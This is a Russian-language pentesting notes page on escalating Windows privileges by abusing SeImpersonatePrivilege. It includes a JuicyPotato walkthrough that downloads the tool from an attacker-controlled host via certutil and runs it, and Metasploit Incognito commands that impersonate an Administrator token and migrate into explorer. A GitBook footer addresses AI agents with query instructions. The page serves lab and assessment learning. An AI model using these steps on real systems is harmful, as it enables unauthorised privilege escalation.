> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/windows-vulnerabilities/token-privileges/seimpersonateprivilege-windows-privilege-escalation.md).

# SeImpersonatePrivilege

`SeImpersonatePrivilege` позволяет процессу выдавать себя за токен другого пользователя. На совместимых целях Windows эту привилегию можно злоупотребить, чтобы получить сеанс с очень высокими привилегиями.

## Обнаружение

```powershell
whoami /priv
```

<figure><img src="/files/df0e07c73288bcf58e13784abcf3e64939cf3302" alt="SeImpersonatePrivilege shown in whoami /priv"><figcaption></figcaption></figure>

## Выберите правильную технику

Разные версии Windows требуют разных подходов. Рассматривайте это как проверку совместимости, а не как эксплойт одной командой.

| Семейство инструментов                  | Обычно применимо для                                                | Примечания                                             |
| --------------------------------------- | ------------------------------------------------------------------- | ------------------------------------------------------ |
| JuicyPotato                             | Старых сборок Windows Server до более новых ужесточений DCOM.       | Требуется совместимый CLSID и локальное поведение COM. |
| Пути в стиле RoguePotato / RemotePotato | Среды, где допустимы NTLM relay или трюки с резолвером.             | Сначала проверьте сетевые предположения.               |
| PrintSpoofer                            | Старые цели, где путь Print Spooler доступен и совместим.           | Уровень патчей имеет решающее значение.                |
| Варианты GodPotato / SweetPotato        | Лабораторные цели с совместимым поведением именованных каналов/RPC. | Проверяйте на точной сборке ОС.                        |

## Ручная проверка с JuicyPotato

{% embed url="<https://github.com/ohpe/juicy-potato/releases/tag/v0.1>" %}

Раздайте бинарные файлы с атакующего хоста:

```bash
python3 -m http.server 8080
```

Скачайте разрешённый инструмент на цели:

```cmd
certutil.exe -f -urlcache -split http://10.10.14.10:8080/JP.exe JP.exe
```

<figure><img src="/files/94f332ae6308ef129ed3418d4c89ae0ff434ed3b" alt="JuicyPotato and netcat transferred to the target"><figcaption></figcaption></figure>

Сначала выполните безвредную команду проверки:

```cmd
JP.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Windows\Temp\impersonate-check.txt"
type C:\Windows\Temp\impersonate-check.txt
```

Если проверка успешна, замените действие на ограниченный полезный нагрузочный код для лаборатории или оценки.

## Типовые проверки

```cmd
whoami /priv
systeminfo
net start spooler
```

<figure><img src="/files/56cce617f4ed032be45d60de312935236ead252f" alt="Privileged shell obtained through JuicyPotato" width="563"><figcaption></figcaption></figure>

## Вариант Incognito для Metasploit

```
load incognito
list_tokens -u
```

<figure><img src="/files/eed54ae8f9e381db8fc9a4c85751004113de5e6e" alt="Listing tokens with Incognito"><figcaption></figcaption></figure>

```
impersonate_token "ATTACKDEFENSE/Administrator"
```

<figure><img src="/files/bf19c81800275d354376ea5ac13f2383f7c64f11" alt="Impersonating an administrator token"><figcaption></figcaption></figure>

Перейдите в подходящий процесс:

```
pgrep explorer
migrate 3512
getprivs
```

<figure><img src="/files/f6c74dda17d038c0f9a0e7bcc779a840534135d0" alt="Migrating into explorer process"><figcaption></figcaption></figure>

<figure><img src="/files/b6383ec564cb8abe1023ba850df1212138a72838" alt="Privileges after token impersonation" width="563"><figcaption></figcaption></figure>

## Ключевые моменты

* Подтвердите, что привилегия присутствует и включена.
* Путь эксплуатации сильно зависит от версии Windows и локальных ограничений.
* Если хост современный и пропатченный, переходите к путям через службы, планировщик задач или учетные данные, прежде чем тратить время.
* Устраняйте проблему, ограничивая службы, которые открывают пути имперсонации, и поддерживая хосты в актуальном состоянии.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/windows-vulnerabilities/token-privileges/seimpersonateprivilege-windows-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
